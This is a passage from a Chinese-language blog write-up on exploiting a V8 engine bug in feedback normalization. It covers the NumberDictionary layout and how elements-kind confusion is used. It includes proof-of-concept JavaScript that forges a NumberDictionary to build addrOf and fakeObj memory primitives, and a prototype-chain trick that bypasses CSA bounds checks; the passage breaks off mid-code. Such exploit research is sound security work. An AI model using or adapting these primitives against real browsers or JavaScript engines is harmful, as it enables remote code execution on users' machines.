class="number">0</span></span></span><br><span class="line"><span class="function">           <span class="number">1</span>: <span class="number">1</span></span></span><br><span class="line"><span class="function">           <span class="number">2</span>: <span class="number">2</span></span></span><br><span class="line"><span class="function">           <span class="number">3</span>: <span class="number">3</span></span></span><br><span class="line"><span class="function">        <span class="number">4</span><span class="number">-16</span>: <span class="number">0x0df900000741</span> &lt;the_hole_value&gt;</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">#</span></span><br><span class="line"><span class="function">#</span></span><br><span class="line"><span class="function">#</span></span><br><span class="line"><span class="function">#FailureMessage Object: <span class="number">0x7fffffffcb70</span></span></span><br><span class="line"><span class="function">=</span>=== C stack trace ===============================</span><br></pre></td></tr></table></figure><h3 id="33-内存越界实现addrof与fakeobj原语"><a class="markdownIt-Anchor" href="#33-内存越界实现addrof与fakeobj原语"></a> 3.3 内存越界实现addrOf与fakeObj原语</h3><p>总结一下之前的利用过程</p><ul><li>首先是越界读误把<code>job(Object)-&gt;map-&gt;constructor</code>后面一个对象的<code>map</code>作为当作是<code>job(Object)-&gt;map-&gt;constructor-&gt;initial_map</code></li><li><code>job(Object)-&gt;map-&gt;constructor</code>后面一个对象刚好就是<code>job(Object)-&gt;map-&gt;constructor-&gt;properties</code>指向的<code>PropertyArray</code>对象. 添加属性释放该对象并通过堆喷使得越界读到的<code>map</code>字段可控</li><li>越界读到<code>initial_map</code>后会调用<code>Normalize(initial_map)</code>将其转换为dictionary_map, 并且会调用<code>EquivalentToForNormalization()</code>检查一些字段是否与<code>job(Object)-&gt;map</code>一致, 确认无误后, <code>Normalize(initial_map)</code>会作为<code>job(Object)-&gt;map</code></li><li><code>Normalize()</code>与<code>EquivalentToForNormalization()</code>不会对elements_kind字段进行任何检查, 默认<code>job(Object)-&gt;map-&gt;elements_kind</code>与<code>job(Object)-&gt;map-&gt;constructor-&gt;initial-&gt;elements_kind</code>是一致的, 由此导致<code>job(Object)-&gt;map-&gt;elements_kind</code>可以被伪造, 从<code>HOLEY_ELEMENTS</code>被覆盖为<code>DICTIONARY_ELEMENTS</code>, 但是<code>job(Object)-&gt;elements</code>不会改变</li></ul><p>现在的问题: 把<code>HOLEY_ELEMENTS</code>混淆为<code>DICTIONARY_ELEMENTS</code>后如何利用?</p><p>研究读写elements时进行的操作, 看看能否转换为任意读写</p><h4 id="331-numberdictionary的内存布局"><a class="markdownIt-Anchor" href="#331-numberdictionary的内存布局"></a> 3.3.1 <code>NumberDictionary</code>的内存布局</h4><p><code>JSObject::eleemtns</code>字段有两种模式</p><ul><li>fast: 始终指向<code>FixedArray</code>类型的对象</li><li>slow: 指向<code>NumberDictionary</code>类型的对象</li></ul><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">extern</span> <span class="keyword">class</span> <span class="title class_">JSObject</span> extends JSReceiver &#123;</span><br><span class="line">  <span class="comment">// [elements]: The elements (properties with names that are integers).</span></span><br><span class="line">  <span class="comment">//</span></span><br><span class="line">  <span class="comment">// Elements can be in two general modes: fast and slow. Each mode</span></span><br><span class="line">  <span class="comment">// corresponds to a set of object representations of elements that</span></span><br><span class="line">  <span class="comment">// have something in common.</span></span><br><span class="line">  <span class="comment">//</span></span><br><span class="line">  <span class="comment">// In the fast mode elements is a FixedArray and so each element can be</span></span><br><span class="line">  <span class="comment">// quickly accessed. The elements array can have one of several maps in this</span></span><br><span class="line">  <span class="comment">// mode: fixed_array_map, fixed_double_array_map,</span></span><br><span class="line">  <span class="comment">// sloppy_arguments_elements_map or fixed_cow_array_map (for copy-on-write</span></span><br><span class="line">  <span class="comment">// arrays). In the latter case the elements array may be shared by a few</span></span><br><span class="line">  <span class="comment">// objects and so before writing to any element the array must be copied. Use</span></span><br><span class="line">  <span class="comment">// EnsureWritableFastElements in this case.</span></span><br><span class="line">  <span class="comment">//</span></span><br><span class="line">  <span class="comment">// In the slow mode the elements is either a NumberDictionary or a</span></span><br><span class="line">  <span class="comment">// FixedArray parameter map for a (sloppy) arguments object.</span></span><br><span class="line">  elements: FixedArrayBase;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>FixedArrayBase</code>是<code>FixedArray</code>和<code>NumberDictionary</code>的基类, 发现<code>NumberDictionary</code>是<code>FixedArray</code>的子类, 内存布局完全一致, 只是对于数组中项使用上的区别, 这是非常好的性质, 可以通过<code>FixedArray</code>中的SMI或者指针任意伪造<code>NumberDictionary</code>中的一些元数据字段</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">extern</span> <span class="keyword">class</span> <span class="title class_">FixedArrayBase</span> extends HeapObject &#123;</span><br><span class="line">  <span class="type">const</span> length: Smi;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">extern</span> <span class="keyword">class</span> <span class="title class_">FixedArray</span> extends FixedArrayBase &#123;</span><br><span class="line">  objects[length]: Object;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">extern</span> <span class="keyword">class</span> <span class="title class_">HashTable</span> extends FixedArray generates <span class="string">&#x27;TNode&lt;FixedArray&gt;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">extern</span> <span class="keyword">class</span> <span class="title class_">NumberDictionary</span> extends HashTable;</span><br></pre></td></tr></table></figure><p>那么<code>NumberDictionary</code>中数组的项有哪些用于元数据呢?  对于下面例子</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">let o = &#123;&#125;;</span><br><span class="line">o[<span class="number">0</span>] = <span class="number">0xFF00</span>&gt;&gt;<span class="number">1</span>;</span><br><span class="line">o[<span class="number">1</span>] = <span class="number">0xFF01</span>&gt;&gt;<span class="number">1</span>;</span><br><span class="line">o[<span class="number">2</span>] = <span class="number">0xFF02</span>&gt;&gt;<span class="number">1</span>;</span><br><span class="line">o[<span class="number">9999</span>] = <span class="number">0xFFCC</span>&gt;&gt;<span class="number">1</span>;</span><br><span class="line"><span class="keyword">delete</span> o[<span class="number">0</span>];</span><br><span class="line">%<span class="built_in">DebugPrint</span>(o);</span><br><span class="line">%<span class="built_in">SystemBreak</span>();</span><br></pre></td></tr></table></figure><p><code>o</code>的对象表示如下</p><!-- ![image](v8_feedback_normalization_RCE/a7.png) --><img src="/v8_feedback_normalization_RCE/a7.png" class="" title="a7.png"><p>内存布局如下</p><ul><li><code>NumberDictionary</code>采用数组来实现一个hash表, 解决hash冲突的方式简单, 如果如果<code>hash(key) = i</code>, 但是<code>Entry[i]</code>已经被占用了, 那么就直接延后尝试放在<code>Entry[i+1], Entry[i+2], ...</code></li><li>因此在查询<code>NumberDictionary</code>时, 如果<code>hash(key) = i</code>, 那么就需要从<code>Entry[i]</code>开始遍历数组, 直到<code>Entry[i].key == key</code>为止</li></ul><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">NumberDictionary:</span><br><span class="line">    |---------------------|</span><br><span class="line">    |        map          |</span><br><span class="line">    |---------------------|</span><br><span class="line">    |       length        |</span><br><span class="line">    |---------------------|</span><br><span class="line">    |      elements       |    &lt;= <span class="number">0</span></span><br><span class="line">    |---------------------|</span><br><span class="line">    |      deleted        |</span><br><span class="line">    |---------------------|</span><br><span class="line">    |      capacity       |</span><br><span class="line">    |---------------------|</span><br><span class="line">    |      max_key        |</span><br><span class="line">    |---------------------|</span><br><span class="line">    |        key          |    &lt;= Entry[<span class="number">0</span>]</span><br><span class="line">    |---------------------|</span><br><span class="line">    |        value        |</span><br><span class="line">    |---------------------|</span><br><span class="line">    |      details        |</span><br><span class="line">    |---------------------|</span><br><span class="line">    |        key          |    &lt;= Entry[<span class="number">1</span>]</span><br><span class="line">    |---------------------|</span><br><span class="line">    |        value        |</span><br><span class="line">    |---------------------|</span><br><span class="line">    |      details        |</span><br><span class="line">    |---------------------|</span><br><span class="line">        ....</span><br></pre></td></tr></table></figure><h4 id="332-伪造numberdictionary对象"><a class="markdownIt-Anchor" href="#332-伪造numberdictionary对象"></a> 3.3.2 伪造<code>NumberDictionary</code>对象</h4><p>现在可以伪造一个<code>NumberDictionary</code>对象了, 应该尝试<strong>给一个很大的capacity, 使其越界读写</strong></p><p>想要实现OOB需要解决两个问题</p><ul><li>如何控制entry索引</li><li>如果控制<code>job(obj)-&gt;elements</code>后面的内存</li></ul><p>回顾搜索过程, <code>initial_entry = hash(index)&amp;(capacity-1)</code>, hash计算的过程如下, 关键的是计算hash时会与<code>HashSeed</code>进行异或, 但是<code>HashSeed()</code>是随机数的不可控, 这就导致<code>hash(index)</code>的结果不可控</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">static</span> uint32_t <span class="title class_">ComputeSeededIntegerHash</span>(<span class="title class_">Isolate</span>* isolate, int32_t key) &#123;</span><br><span class="line">  <span class="title class_">DisallowGarbageCollection</span> no_gc;</span><br><span class="line">  <span class="keyword">return</span> <span class="title class_">ComputeSeededHash</span>(static_cast&lt;uint32_t&gt;(key), <span class="title class_">HashSeed</span>(isolate));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> <span class="title class_">Heap</span>::<span class="title class_">InitializeHashSeed</span>() &#123;</span><br><span class="line">  <span class="title function_">DCHECK</span>(!deserialization_complete_);</span><br><span class="line">  uint64_t new_hash_seed;</span><br><span class="line">  <span class="keyword">if</span> (v8_flags.<span class="property">hash_seed</span> == <span class="number">0</span>) &#123;</span><br><span class="line">    int64_t rnd = <span class="title function_">isolate</span>()-&gt;<span class="title function_">random_number_generator</span>()-&gt;<span class="title class_">NextInt64</span>();</span><br><span class="line">    new_hash_seed = static_cast&lt;uint64_t&gt;(rnd);</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    new_hash_seed = static_cast&lt;uint64_t&gt;(v8_flags.<span class="property">hash_seed</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="title class_">Tagged</span>&lt;<span class="title class_">ByteArray</span>&gt; hash_seed = <span class="title class_">ReadOnlyRoots</span>(<span class="variable language_">this</span>).<span class="title function_">hash_seed</span>();</span><br><span class="line">  <span class="title class_">MemCopy</span>(hash_seed-&gt;<span class="title function_">begin</span>(), reinterpret_cast&lt;uint8_t*&gt;(&amp;new_hash_seed),</span><br><span class="line">          kInt64Size);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>思路</p><ul><li><code>capacity</code>是自己可以完全控制的, 不一定要完全为2的幂, 如果是<code>0x1</code>, 那么<code>hash</code>的结果就恒定为<code>0</code>, 这样就可以消除hash与随机数带来的熵</li><li><code>initial_entry</code>只是大数组中起始搜索的位置, 只要key匹配不上后续就会一致遍历</li></ul><p>那么怎么布局堆? 溢出覆盖哪一个对象?<br />现在是一个部分受限制的数组OOB</p><ul><li><code>Entry[i].key</code>必须已知</li><li><code>Entry[i].value</code>可以被任意读写</li><li><code>Entry[i].details</code>的最后1bit必须是0, 必须是SMI</li><li><code>i</code>必须是<code>2^n - 1</code>, 这样稳定性最高, 位于数组最后一个, 无论<code>initial_entry</code>从哪里开始都可以命中. 这个可以通过填充<code>[1, 2, 3, ...]</code>来控制, 不难解决<br />图示:</li></ul><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"> -------------</span><br><span class="line">|    可知值    |    &lt;= <span class="title class_">Entry</span>[i].<span class="property">key</span></span><br><span class="line">-------------- </span><br><span class="line">|    被读写    |    &lt;= <span class="title class_">Entry</span>[i].<span class="property">value</span></span><br><span class="line">-------------- </span><br><span class="line">|   末尾1bit=<span class="number">0</span> |    &lt;= <span class="title class_">Entry</span>[i].<span class="property">details</span>, 必须是<span class="variable constant_">SMI</span></span><br><span class="line">--------------</span><br></pre></td></tr></table></figure><p>或者溢出就控制<code>JSArray</code>中的元素, 因为想在相当于有了两种写入同一个对象中元素的方式, 能否搞出一个类型混淆, 直接实现fakeObj和addrOf原语?</p><p>POC如下, <code>obj[0xDD]</code>和<code>arr[7]</code>实际引用到的是同一个元素</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// job(obj)-&gt;elements为FixedArray, job(obj)-&gt;map-&gt;elements_kind=HOLEY_ELEMENTS</span></span><br><span class="line"><span class="comment">// 后续elements_kind会被覆盖为DICTIONARY_ELEMENTS, job(obj)-&gt;elements会被当作是NumberDictionary对象</span></span><br><span class="line"><span class="comment">// 因此这里在FixedArray中伪造一个可以OOB的NumberDictionary</span></span><br><span class="line">obj[<span class="number">0</span>] = <span class="number">0x7</span>;    <span class="comment">// elements</span></span><br><span class="line">obj[<span class="number">1</span>] = <span class="number">0x0</span>;    <span class="comment">// deleted</span></span><br><span class="line">obj[<span class="number">2</span>] = <span class="number">0x8</span>;    <span class="comment">// capacity</span></span><br><span class="line">obj[<span class="number">3</span>] = <span class="number">0x8</span>;    <span class="comment">// max_key</span></span><br><span class="line"><span class="comment">// job(obj)-&gt;elements一共17项, 剩余13个空位用于Entry数组</span></span><br><span class="line"><span class="comment">// 一个Entry占据3个空位, 13=3*4+1, 这里先放置4个Entry</span></span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">let</span> entry=<span class="number">0</span>; entry&lt;<span class="number">4</span>; entry++)&#123;</span><br><span class="line">    obj[<span class="number">4</span>+entry*<span class="number">3</span>+<span class="number">0</span>] = entry; <span class="comment">// Entry[entry].key</span></span><br><span class="line">    obj[<span class="number">4</span>+entry*<span class="number">3</span>+<span class="number">1</span>] = <span class="number">0x0</span>; <span class="comment">// Entry[entry].value</span></span><br><span class="line">    obj[<span class="number">4</span>+entry*<span class="number">3</span>+<span class="number">2</span>] = <span class="number">0x0</span>; <span class="comment">// Entry[entry].details</span></span><br><span class="line">&#125;</span><br><span class="line">obj[<span class="number">4</span>+<span class="number">4</span>*<span class="number">3</span>+<span class="number">0</span>] = <span class="number">0xCC</span>&gt;&gt;<span class="number">1</span>; <span class="comment">// Entry[4].key</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 在job(obj)-&gt;elements后面先是job(arr)-&gt;elements对应的FixedArray对象, 这个对象长度可以任意控制</span></span><br><span class="line"><span class="comment">// Entry[4].value对应job(arr)-&gt;elements-&gt;map</span></span><br><span class="line"><span class="comment">// Entry[4].detaisl对应job(arr)-&gt;elements-&gt;length</span></span><br><span class="line"><span class="comment">// 这样布局, 使得job(arr)-&gt;map刚好是NumberDictionary中Entry[7].value</span></span><br><span class="line"><span class="keyword">let</span> arr = <span class="title class_">Array</span>.<span class="title function_">of</span>(</span><br><span class="line">    <span class="number">0x0</span>, <span class="comment">// Entry[5].key</span></span><br><span class="line">    <span class="number">0x0</span>, <span class="comment">// Entry[5].value</span></span><br><span class="line">    <span class="number">0x0</span>, <span class="comment">// Entry[5].details</span></span><br><span class="line">    <span class="number">0x0</span>, <span class="comment">// Entry[6].key</span></span><br><span class="line">    <span class="number">0x0</span>, <span class="comment">// Entry[6].value</span></span><br><span class="line">    <span class="number">0x0</span>, <span class="comment">// Entry[6].details</span></span><br><span class="line">    <span class="number">0xDD</span>, <span class="comment">// Entry[7].key</span></span><br><span class="line">    <span class="number">0xbeef</span>, <span class="comment">// Entry[7].value</span></span><br><span class="line">    <span class="number">0x0</span>, <span class="comment">// Entry[7].details</span></span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 触发TransitionToDataProperty()中的feedback_normalization部分代码</span></span><br><span class="line"><span class="comment">// 越界读到job(o)-&gt;map作为job(Object)-&gt;map-&gt;constructor-&gt;initial_map</span></span><br><span class="line"><span class="comment">// 使得job(Object)-&gt;map-&gt;elements_kind被覆盖为DICTIONARY_ELEMENTS</span></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">3</span>; i++) &#123;</span><br><span class="line">    <span class="title function_">print</span>(<span class="string">&quot;add property ============&gt; &quot;</span> + i);</span><br><span class="line">    obj[<span class="string">&quot;p&quot;</span> + i] = i;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 这里 hash(0xCC)&amp;(capacity-1) = hash(0xCC)&amp;(2-1) = 0</span></span><br><span class="line"><span class="comment">// 从而获取Entry[0].value作为值</span></span><br><span class="line"><span class="title function_">print</span>(<span class="string">&quot;====== try to read obj[0xDD]&quot;</span>);</span><br><span class="line"><span class="title function_">print</span>(obj[<span class="number">0xDD</span>]);</span><br><span class="line"><span class="title function_">print</span>(<span class="string">&quot;====== try to read obj[0xDD]&quot;</span>);</span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br></pre></td></tr></table></figure><p>SMI数组ptr使用最低1bit进行区分, 所以没法直接混淆, 可以让<code>arr</code>变成double array, 这样就可以完全控制一个Word中的所有bit, 完成double和TaggedPtr之间的混淆</p><p>总结: <strong>虽然Entry溢出没法直接溢出到</strong>​<strong>​<code>JSArray, Map</code>​</strong>​<strong>等对象的关键字段, 但是可以直接使得</strong>​<strong>​<code>job(obj)-&gt;elements</code>​</strong>​<strong>的</strong>​<strong>​<code>DictionArray</code>​</strong>​<strong>对象与</strong>​<strong>​<code>job(arr)-&gt;elements</code>​</strong>​<strong>的</strong>​<strong>​<code>FixedDoubleArray</code>​</strong>​<strong>对象重叠, 这样就可以实现对于相同内存数据的不同解释方式:</strong></p><ul><li><code>job(obj)-&gt;elements</code>认为Entry的key为TaggedPtr表示方式, 如果末尾1bit为1就会解释为js对象</li><li><code>job(arr)-&gt;elements</code>认为内部是64字节的Double数据, 会将其作为纯数据控制</li></ul><p>进一步的</p><ul><li><p><code>addrOf()</code>原语</p><ul><li><code>obj[0xDD] = &#123;&#125;</code>相当于在<code>job(obj)-&gt;elements.entry[7].value</code>中对象指针</li><li>读入<code>arr[3]</code>相当于把<code>job(arr)-&gt;elements[3]</code>中的数据当做浮点数读出来</li><li>由于对象重叠<code>job(arr)-&gt;elements[3]</code>与<code>job(obj)-&gt;elements.entry[7].value</code>实际上是同一个内存地址, 这就可以泄露对象指针</li></ul></li><li><p><code>fakeObj()</code>原语: 思路是一样的, 先<code>arr[3]=...</code>以浮点数的方式写入数据, 然后<code>obj[0xDD]</code>将其作为对象指针读出来</p></li></ul><h4 id="333-绕过csa-check"><a class="markdownIt-Anchor" href="#333-绕过csa-check"></a> 3.3.3 绕过CSA CHECK</h4><p>实测发现无法通过伪造capacity字段进行越界<br />伪造<code>NumberDictionary::capacity</code>字段的方式无法实现数组越界, 因为每次从<code>job(obj)-&gt;elements</code>中加载元素时总会与<code>job(obj)-&gt;elements-&gt;length</code>字段进行检查</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">template &lt;typename TIndex&gt;</span><br><span class="line">TNode&lt;Object&gt; CodeStubAssembler::LoadFixedArrayElement(</span><br><span class="line">    TNode&lt;FixedArray&gt; object, TNode&lt;TIndex&gt; index, int additional_offset,</span><br><span class="line">    CheckBounds check_bounds) &#123;</span><br><span class="line">  ...</span><br><span class="line"></span><br><span class="line">  if (NeedsBoundsCheck(check_bounds)) &#123;    // Always</span><br><span class="line">    FixedArrayBoundsCheck(object, index, additional_offset);</span><br><span class="line">  &#125;</span><br><span class="line">  TNode&lt;MaybeObject&gt; element = LoadArrayElement(object, FixedArray::kHeaderSize,</span><br><span class="line">                                                index, additional_offset);</span><br><span class="line">  return CAST(element);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>后续发现: 也就是说DictionaryNumber的读走的是CSA编写的方法, 这会进行字段的检查, 但是DictionaryNumber的写入走的是Runtime方法, Runtime方法并没有进行Elements数组边界检查, 这启发我们: 能否让DictionaryNumber的读操作也走Runtime方法, 以绕过CAS的CHECK检查</p><p>检查一下CSA实现的<code>DictionaryNumber</code>的Load的逻辑, 看一下怎么使其进入Runtime的处理方法</p><p><code>KeyedLoadIC_Megamorphic()</code>会调用到<code>KeyedLoadICGeneric()</code>, <code>KeyedLoadICGeneric()</code>:</p><ul><li>首先调用<code>TryToName()</code>转换<code>var_name</code>, <code>&quot;0&quot;</code>可以转换为索引, 所以会进入<code>if_index</code>分支</li><li><code>if_index</code>分支中会调用<code>GenericElementLoad()</code>在<code>NumbericDictionary</code>中根据<code>index</code>搜索对应的值, 如果搜索失败则进入<code>if_runtime</code>分支</li><li><code>if_runtime</code>分支会调用runtime方法<code>GetProperty()</code>进行处理</li></ul><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">AccessorAssembler::KeyedLoadICGeneric</span><span class="params">(<span class="type">const</span> LoadICParameters* p)</span> </span>&#123;</span><br><span class="line">  <span class="built_in">TVARIABLE</span>(Object, var_name, p-&gt;<span class="built_in">name</span>());    <span class="comment">// key的名字</span></span><br><span class="line">  <span class="function">Label <span class="title">if_runtime</span><span class="params">(<span class="keyword">this</span>, Label::kDeferred)</span></span>;</span><br><span class="line">  TNode&lt;Object&gt; lookup_start_object = p-&gt;<span class="built_in">lookup_start_object</span>();    <span class="comment">// 从哪个对象开始搜索属性</span></span><br><span class="line">  <span class="comment">// 要加载key的对象是SMI, null, undefined, 则进入if_runtime分支处理</span></span><br><span class="line">  <span class="built_in">GotoIf</span>(<span class="built_in">TaggedIsSmi</span>(lookup_start_object), &amp;if_runtime);</span><br><span class="line">  <span class="built_in">GotoIf</span>(<span class="built_in">IsNullOrUndefined</span>(lookup_start_object), &amp;if_runtime);</span><br><span class="line"></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">TVARIABLE</span>(IntPtrT, var_index);</span><br><span class="line">    <span class="built_in">TVARIABLE</span>(Name, var_unique);</span><br><span class="line">    <span class="function">Label <span class="title">if_index</span><span class="params">(<span class="keyword">this</span>)</span>, <span class="title">if_unique_name</span><span class="params">(<span class="keyword">this</span>, &amp;var_name)</span>, <span class="title">if_notunique</span><span class="params">(<span class="keyword">this</span>)</span>, <span class="title">if_other</span><span class="params">(<span class="keyword">this</span>, Label::kDeferred)</span></span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 尝试把var_name转换为属性名字, 如果可以转换为数组索引, 则进入if_index分支</span></span><br><span class="line">    <span class="built_in">TryToName</span>(var_name.<span class="built_in">value</span>(), &amp;if_index, &amp;var_index, &amp;if_unique_name, &amp;var_unique, &amp;if_other, &amp;if_notunique);</span><br><span class="line">    ...</span><br><span class="line"></span><br><span class="line">    <span class="built_in">BIND</span>(&amp;if_index);</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">Print</span>(<span class="string">&quot;if_index&quot;</span>);</span><br><span class="line">      TNode&lt;Map&gt; lookup_start_object_map = <span class="built_in">LoadMap</span>(<span class="built_in">CAST</span>(lookup_start_object));</span><br><span class="line">      <span class="built_in">GenericElementLoad</span>(<span class="built_in">CAST</span>(lookup_start_object), lookup_start_object_map,</span><br><span class="line">                         <span class="built_in">LoadMapInstanceType</span>(lookup_start_object_map),</span><br><span class="line">                         var_index.<span class="built_in">value</span>(), &amp;if_runtime);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">BIND</span>(&amp;if_runtime);</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="comment">// TODO(jkummerow): Should we use the GetProperty TF stub instead?</span></span><br><span class="line">    <span class="built_in">TailCallRuntime</span>(Runtime::kGetProperty, p-&gt;<span class="built_in">context</span>(), p-&gt;<span class="built_in">receiver_and_lookup_start_object</span>(), var_name.<span class="built_in">value</span>());</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>注意:</p><ul><li><p>js中<strong>一个对象可以访问的属性除了自身内部定义的属性外, 还有其整个原型链上定义的属性</strong>, 都是可读写的</p></li><li><p>比如<code>obj[0xDD]</code></p><ul><li><code>KeyedLoadICGeneric()</code>的<code>if_index</code>分支, 就专门用于在<code>job(obj)-&gt;elements</code>中搜索<code>0xDD</code>对应的属性, 如果<code>job(obj)-&gt;elements</code>中不存在那么就会进入<code>if_runtime</code>分支</li><li><code>if_runtime</code>分支会调用Runtime方法<code>GetProperty</code>, <code>GetProperty</code>则是严格按照js中属性访问的定义来实现的, 如果<code>job(obj)-&gt;elements</code>中不存在, 还会搜索<code>job(obj)-&gt;properties</code>, 并沿着原型链<code>job(obj)-&gt;map-&gt;prototype</code>指向的对象进行搜索</li><li>也就是说: <strong>fast_path只会搜索对象自身, slow_path会沿着整个原型链进行完整的搜索</strong></li></ul></li></ul><p>因此, 直接访问<code>obj[0xDD]</code>会命中CSA中的检查, 但是使用<strong>原型对象中转一下</strong>就可以实现通过Runtime路径完成读写<code>obj[0xDD]</code>这个属性</p><p>POC如下</p><ul><li><code>obj2</code>只是一个普通的<code>JS_OBJECT</code>对象, 自身没有任何属性, 因此<code>KeyedLoadICGeneric()</code>在处理<code>obj2[0xDD]</code>时是无法在<code>job(obj2)-&gt;elements</code>中找到这个属性, 因此会进入<code>if_runtime</code>分支</li><li><code>if_runtime</code>分支的<code>GetProperty()</code>方法沿着原型链寻找, 最终在<code>job(obj)-&gt;elements</code>中找到<code>0xDD</code>对应的属性值, 在读入时runtime方法的<code>get()</code>并不会检查是否超过了<code>job(obj)-&gt;elements-&gt;length</code>由此完成越界读写</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">let obj2 = &#123;&#125;;</span><br><span class="line">obj2.__proto__ = obj;</span><br><span 